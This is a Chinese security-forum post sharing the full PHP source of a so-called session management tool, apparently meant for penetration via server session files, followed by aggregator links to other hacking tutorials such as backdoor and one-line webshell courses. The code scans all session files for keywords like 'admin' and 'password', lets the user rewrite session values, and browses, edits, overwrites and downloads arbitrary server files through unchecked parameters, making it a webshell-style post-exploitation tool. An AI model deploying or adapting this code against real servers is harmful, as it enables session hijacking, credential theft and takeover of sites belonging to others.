PHP服务端SESSION管理工具提供下载_安全教程

文章作者:Inking
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

前两天我所在的楼层断了网,郁闷的我什么也干不了.之前刚好看到剑心的blog里有篇疯狗写的关于利用session渗透的文章,文章写得很简单,到最后" 小气"的疯狗也没有把利用程序发出来,所以我不管有没有用先把它写下来了.由于不能查资料,所以只好对这手册看,代码在很多方面可能还存在着缺陷.最烦人的还是正则和文件流操作的问题,循环来循环去的,把我的头都搞晕了,光是调试都花了整整一天的时间(写代码粗心大意没办法).希望大家多提提意见看法.. 疯狗的章:http://www.loveshell.net/blog/blogview.asp?logID=101

写好后我对程序的执行效率进行了大致的测试
执行环境:winxp,PHP5,apache2,酷睿2050--1.6GHZ,512m内存,945主板
文件系统:6层目录,每层1000个文件,session文件大约为50-100字节
搜索这6000个文件大约需10-15s的执行时间,效率并不像我想象中的那么低.

复制代码 代码如下:

<?
if(isset($_GET['download'])){
    $filename=$_GET['filename'];
    $dirname=$_GET['dirname'];
    ob_start();
    download($dirname,$filename);
    flush;
}
session_start();
$default=ini_get('session.save_path');
$thispath=str_replace("\\","/",__FILE__);
$thispath=substr($thispath,0,strrpos($thispath,"/"));
?>
<html>
<head>
<title>SESSION管理工具</title>
<head>
<style>
body{
    margin:0;
    padding:0;
    background:#000000;
    color:green;
    margin-top=60px;
    FONT-FAMILY: verdana;
    FONT-SIZE: 10px;
}
input{
    margin:0px;
    padding:0px;
    color:green;
    border: 1px;
    border-bottom-color:#ffffff;
}
hr{
    width:85%;
    height:1px;
}
</style>
</head>
<body><center><h3>PHP服务端SESSION管理工具</h3><p><a href=<? echo $_SESSION['PHP_SELF'];?>?help=yes>(使用方法)</a>                    <a href="<? echo $_SESSION['PHP_SELF'];?>?fcontrol=yes&dirname=<? echo $thispath;?>">(文件操作)</a></p>
<hr>
<p> </p>
<table border=1 bordercolorlight="000000" bordercolordark="000000">
<form action=<? echo $_SERVER['PHP_SELF'];?> method=GET>
<tr><td><b>    SESSION路径 </b><input type=text name=spath value="<? echo $default;?>"> </td></tr>
<tr><td><input type="radio" checked name="fetch" value=searchone onclick="sessname.disabled=false;"><b>搜索指定SESSION</b>
<input type=text name=sessname>  
<tr><td><input type="radio" name="fetch" value=all onclick="sessname.disabled=true;"><b>读取所有SESSION</b>
<input type=submit value=读取>   <input type=reset value=重置></td></tr></form></table><p></p>
<table border=1 bordercolorlight="000000" bordercolordark="000000">
<?
set_time_limit(0);
if(PHP_VERSION < '4.1.0') {
    $_POST = &$HTTP_POST_VARS;
    $_GET = &$HTTP_GET_VARS;
}
$spath=$_GET['spath'];
if(isset($_GET['fetch'])){//关键词搜索
    if(isset($_GET['fetch']['searchon'])&&isset($_GET['sessname'])&&$type="1"){
        !empty($_GET['sessname']) or die("<tr><td><font color=#B3614D>请输入搜索关键字</font></td></tr>");
        $sessname=$_GET['sessname'];
        getfname($spath);
        count($session)>0 or die("<tr><td><font color=#B3614D>内容为空,请检查目录的正确性或者修改关键字</font></td></tr>");
        foreach($session as $fpath=>$sessinfo){
            foreach($sessinfo as $sessid=>$contents){
                echo "<tr><p><td><a href=?modfname=".$fpath."&modname=".$sessid."&modify=1>SID: ".$sessid."</a></td></p></tr>";
                foreach($contents as $name=>$value)
                    echo "<tr><td><p>".$name."=>".$value."</p></td></tr>";
            }
        }
    }
    elseif(isset($_GET['fetch']['all'])){//查找全部
        $type=0;
        getfname($spath);
        count($session)>0 or die("<tr><td><font color=#B3614D>内容为空,请检查目录的正确性</font></td></tr>");
        foreach($session as $fpath=>$sessinfo){
            foreach($sessinfo as $sessid=>$contents){
                echo "<tr><p><td><a href=?modfname=".$fpath."&modname=".$sessid."&modify=1>SID: ".$sessid."</a></td></p></tr>";
                foreach($contents as $name=>$value)
                    echo "<tr><td><p>".$name."=>".$value."</p></td></tr>";
            }
        }
    }
    echo "</center></table>";
}
if(isset($_GET['modify'])){//显示某个文件下的内容
    $modify=$_GET['modify'];
    $fpath=$_GET['modfname'];
    $sid=$_GET['modname'];
    getvalue($fpath,'1','');
    echo "<tr><td>你所修改的session文件的路径: <p>".$fpath."</p></td></tr>";
    echo "<form action=".$_SERVER['PHP_SELF']." method=post>";
    echo "<input type=hidden value=".$fpath." name=m_path>";
    !empty($modsession) or die("<tr><td><font color=#B3614D>内容为空,请检查目录的正确性</font></td></tr>");
    foreach($modsession as $modsessinfo){
            foreach($modsessinfo as $modsessid=>$contents){
                echo "<tr><p><td>SESSION_ID <input type=text name=m_sid value=".$modsessid.">  </td></p></tr>";
                $i=0;
                foreach($contents as $modname=>$modvalue){
                    echo "<tr><td><p>".$modname." => <input type=text name=m_value[".$i++."] value=".$modvalue."></p></td></tr>";
                }
            }
    }
    echo "<tr><td><input type=submit value=确认修改>  或<a href=".$_SERVER['PHP_SELF']."?modify_all=yes&modfname=".urlencode($fpath).">打开文件</a>进行完全编辑<a href=\"javascript:history.go(-1);\">或返回修改其它</a></td></tr></form></center></table>";
}
if(isset($_POST['m_path'])){//对单个值进行修改
    $m_path=$_POST['m_path'];
    $m_value=$_POST[m_value];
    $f=fopen($m_path,'r');
    $content=fgets($f,1024);
    $explode=explode(";",$content);
    fclose($f);
    $f=fopen($m_path,'w');
    $m_content='';
    for($i=0;$i<count($m_value);$i++){
        $modified=ereg_replace("\".*\"",'"'.$m_value[$i].'"',$explode[$i]);
        $m_content.=$modified.";";
    }
    fwrite($f,$m_content);
    fclose($f);
    echo "<tr><td>修改成功,<a href=".$_SERVER['HTTP_REFERER'].">返回重新修改该session文件</a></td></tr></center></table>";
}
if(isset($_GET['modify_all'])){//显示要修改的文件的内容
    $filepath=$_GET['modfname'];
    $f=fopen($filepath,"r");
    $fcontent=fread($f,filesize($filepath));
    echo "<tr><td>你正修改的文件是".$filepath;
    echo "<form action=".$_SERVER['PHP_SELF']." method=post>";
    echo "<input type=hidden name=filepath value=".$filepath.">";
    echo "<center><textarea cols=100 rows=15 name=m_content>".$fcontent."</textarea></center>";
    echo "<p><input type=submit value=确认修改>    <a href=\"javascript:history.go(-1);\">返回上一步</a></form></p></td></tr></center></table>";
    fclose($f);
}
if(isset($_POST['m_content'])){//进行完全修改
    $m_content=$_POST['m_content'];
    $filepath=$_POST['filepath'];
    if(get_magic_quotes_gpc()) $m_content=stripslashes($m_content);
    $f=fopen($filepath,"w");
    fwrite($f,$m_content);
    fclose($f);
    echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?modify_all=yes&modfname=".urlencode($filepath).">点这里查看或重新修改</a></td></tr>";
    echo "<tr><td><a href=".$_SERVER['PHP_SELF'].">返回首页</a></td></tr></center></table>";
}
if(isset($_GET['help'])){//显示help
    print<<<eof
    <tr><td>本程序的功能是从指定的文件夹下读取本文件夹及其子文件夹下的所有session文件的值,或者搜索含有指定关键字的session文件,不过注意由于写得很粗略,没有用到数据库功能,所以不支持多个关键字搜索,请搜索类似"admin","pwd","user","password"等可能含有管理员信息的关键字.<br>如果服务器的访问量大,势必会产生很多session文件,最好用关键字的方法,并耐心等待,因为该程序要一个个的读取session文件,并进行匹配,效率之低可想而知.<br>由于这个程序就是为了从众多session文件中查找相关内容而设计的,所以并没有添加直接修改指定session文件的功能,而只是对搜索出来的session文件进行编辑.如果需要,请用记事本打开session文件进行编辑.你也可以提交如下url进行编辑:"http://test.com/session.php?modfname=<session文件的路径>&modname=<session_id>&modify=1".<br>在session路径的填写框中尽量用"/"来代替"\",windows的seesion文件默认保存路径为"c:/windows/temp",linux下为"/tmp",不过程序会自动帮你读出当前session所在的路径,如果需要读取其它的session请自行查找,并手动填入.如果知道你所需要的session文件的具体文件夹,最好具体指明,这样可以省时一些.点"读取"后会显示出搜索结果,以"session_name=>value"的形式显示你所搜索到的结果,点击对应的session_id进入编辑状态,点击"确定修改"进行相关内容的修改,或者点"打开文件"进行完全编辑,然后确认保存.<br>如果目录填写不正确或者目录中的session文件都为空,那么程序会报错"目录中无session文件",这个时候请仔细检查.<br>程序做好后一直因为网络没有恢复,所以我又添加了个简单的文件操作功能,方便使用吧<br>因为我自己对正则不是很熟悉,对session的工作原理可能也了解的不是很透彻,前前后后花了两天的时间才写好,光调试就花了我大半的时间,所以bug难免,尤其在正则匹配方面,欢迎到我的博客交流.<br>作这个程序的灵感来自疯狗的两篇文章,请参阅:http://www.loveshell.net/blog/blogview.asp?logID=101<br>具体使用时请自行删除本帮助文档,本程序归Inking所有,仅供交流,一切使用上造成的后果于作者无关.</td></tr></center></table>
eof;
}
if(isset($_GET['fcontrol'])){
    $dirname=$_GET['dirname'];
    if($dirname[strlen($dirname)-1]!="\\"&&$dirname[strlen($dirname)-1]!="/") $dirname.="/";
    echo "<tr><td>当前文件路径: ".$dirname."</td></tr>";
    $opendir=opendir($dirname) or die("<tr><td><font color=#B3614D>打开文件失败</font></td></tr>");
    while($file=readdir($opendir)){
        if($file=="."){
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?fcontrol=yes&dirname=".urlencode($dirname).">".$file."</a></td></tr>";
            continue;
        }
        elseif($file==".."){
            $newname=substr($dirname,0,strrpos($dirname,"/"));
            $newname=substr($newname,0,strrpos($newname,"/")+1);
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?fcontrol=yes&dirname=".urlencode($newname).">".$file."</a></td></tr>";
        }
        elseif(is_dir($dirname.$file."/")){
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?fcontrol=yes&dirname=".urlencode($dirname.$file)."/>".$file."</a></td></tr>";
        }
        elseif(getftype($file)){
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?modify_all=yes&modfname=".urlencode($dirname.$file).">".$file."</a></td></tr>";
        }
        else{
            echo "<tr><td><a href=".$_SERVER['PHP_SELF']."?download=yes&filename=".urlencode($file)."&dirname=".urlencode($dirname).">".$file."</a></td></tr>";
        }
    }
}
function getfname($spath){//遍历目录,并调用getvalue()函数得到各个session_name的值
    global $fpath,$file;
    if($spath[strlen($spath)-1]!="\\"&&$spath[strlen($spath)-1]!="/") $spath.="/";
    $opendir=opendir($spath) or die("<tr><td><font color=#B3614D>打开文件失败</font></td></tr>");
    while($file=readdir($opendir)){
        if($file=="."||$file=="..") continue;
        if(is_dir($spath.$file."/")){
            getfname($spath.$file."/");
        }
        elseif(ereg("^sess_",$file)){
            $fpath=$spath.$file;
            preg_match('/(^sess_)(.+)+/',$file,$prex);
            $file=$prex[2];
            getvalue($fpath,'0',$type);
        }
    }
    closedir($opendir);
}
function getvalue($fpath,$modify='0',$type){//得到某个session文件中的session变量的值
    global $type,$fpath,$sessname,$session,$file,$modsession,$sid;
    $f=fopen($fpath,"a+");
    $content=fgets($f,1024);
    fclose($f);
    $explode=explode(";",$content);
    $i=0;
    while($match=$explode[$i++]){
        preg_match('/(^[^\|]*)+\|.+\"(.+)+\"$/',$match,$value);
        $sname=$value[1];
        $svalue=$value[2];
        if($modify==1){
            $modsession[$fpath][$sid][$sname]=$svalue;
            continue;
        }
        if($type){
            if(eregi($sessname,$sname)==true){
                $session[$fpath][$file][$sname]=$svalue;
            }
        }
        else{
            $session[$fpath][$file][$sname]=$svalue;
        }
    }
}
function getftype($filename){//判断文件类型
    $ftype=substr($filename,strrpos($filename,".")+1);
    switch($ftype){
        case "txt":
            return true;
        case "asp":
            return true;
        case "php":
            return true;
        case "ini":
            return true;
        case "log":
            return true;
        default:
            return false;
    }
}
function download($dirname,$filename){
    $f=fopen($dirname.$filename,"r");
    $contents=fread($f,filesize($dirname.$filename));
    fclose($f);
    Header("Content-type: application/octet-stream");
    Header("Accept-Ranges: bytes");
    Header("Accept-Length: ".filesize($dirname.$filename));
    Header("Content-Disposition: attachment; filename=".$filename);
    echo $contents;
}
?>
</table>
<p> </p>
<hr>
<center><p>Code By Inking   <a href='http://hi.baidu.com/in_king'>The Entry To My Website</a>   QQ: 165068585</p><p> </p>
</center>
</body>
</html>

下载

时间: 2024-10-24 14:11:21

PHP服务端SESSION管理工具提供下载_安全教程的相关文章

windows下IE的Flash控件卸载工具提供下载_应用技巧

今天偶地Flash控件出现了点问题,想把flash控件给卸载了重装,搞来搞去居然没有弄掉它,失败呀. 无奈,爬到Flash的老家,看到居然有它的卸载工具,下来试了一下,重启就能删除了,看来是个好东西,收藏之. 本地下载

黑鹰VIP教程-脚本入侵班全部提供下载_安全教程

第一课:asp php简易后门的编写  http://topdown.3800hk.com/jiaoben/@LinkGate@2181379402615x1198632392x2181380143349-c0b9f8eae2e857201cc2d6543b63b501@LK@/01.rar 第二课:asp一句话后门的编写及利用  http://topdown.3800hk.com/jiaoben/@LinkGate@2181379402615x1198632392x2181380143349-

WebService大讲堂之Axis2(6):跨服务会话(Session)管理

在<WebService大讲堂之Axis2(5):会话(Session)管理>一文中介绍了如何使用Axis2来管理同一 个服务的会话,但对于一个复杂的系统,不可能只有一个WebService服务,例如,至少会有一个管理用户 的WebService(用户登录和注册)以及处理业务的WebService.象这种情况,就必须在多个WebService服 务之间共享会话状态,也称为跨服务会话(Session)管理.实现跨服务会话管理与实现同一个服务的会话 管理的步骤类似,但仍然有一些差别,实现跨服务会话

最新的FlashCS3简体中文帮助文档chm提供下载了_Flash教程

关于本手册 本手册为在 ActionScript 3.0 中开发应用程序提供了基础.为了充分理解所介绍的理念和技巧,您应已熟悉了一般的编程概念,如数据类型.变量.循环和函数.您还应了解面向对象编程的基本概念,如类和继承.如果以前掌握了 ActionScript 1.0 或 ActionScript 2.0 知识,则会非常有帮助,但这并不是必需的. ActionScript 3.0 编程           ActionScript 快速入门 本章旨在让您可以着手进行 ActionScript 编

项目ITP(四) javaweb http json 交互 in action (服务端 spring 手机端 提供各种工具类)勿喷!

正文  慢慢地,二维码实现签到将要落幕了.下篇文章出二维码实现签到 这次 我们实现 javaweb http json 交互 in action 题目很长,但我想让你们看下,给我点意见.   开始吧  实战  本次以经典的登录作为案例.登录做的好也是经典. 服务端 和 app端,服务端简略,app端详细介绍... 服务端 资料: <spring> @ResponseBody  将内容或对象作为 HTTP 响应正文返回,并调用适合HttpMessageConverter的Adapter转换对象,

C#服务端的上传和下载问题

问题描述 我新手刚入门想练练别人写了服务端的上传让我写下载部分代码给了我要求但是不会写啊求大家支援求给代码publicboolUpload(Stringsender,Stringreceiver,UploadFile_upfile,outCustomExceptionServiceError){ServiceError=null;//MemoryStreamms=newMemoryStream(_upfile.data);try{//1根据用户名检查/创建目录//2把文件保存到目录下,如果文件存

优秀的GIT管理工具SourceTree下载

SourceTree是一个比较优秀的Git代码管理工具,能够替代大部分的命令行工作,在合并代码,查看diff的时候都非常方便,能大大提高生产效率, 基本国外的网站下载非常缓慢,大部分时候都是不可下载状态,本文主要提高SourceTree的下载加速. 2.6.3 Mac版下载地址: http://p.tb.cn/rmsportal_9573_Sourcetree_2.6.3a.zip

Socket向服务端发送消息工具类

package com.yanek.util.socket; import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.ByteArrayOutputStream;import java.io.DataInputStream;import java.io.IOException;import java.io.InputStreamReader;import java.io.OutputStreamWrit

用来记笔记的软件 EverNote 2.2.1.386提供下载_常用工具

EverNote 是一款类似 OneNote 的笔记软件,但是比微软的体积要小.独特的分类功能,并且采用过滤的概念进行整理.可以定制模版,自动过滤机制.最新版本支持网页文本截取功能,支持中文输入.EverNote 已经完全支持中文.如何搜索中文?在搜索框输入 *中文 或 "中文 即可. 最新版本修复了一些已知的Bug,包括那个备份目录无法改变的问题. Public Release 2.2.1.386 (January 14th, 2008)Bug Fixes and ImprovementsFi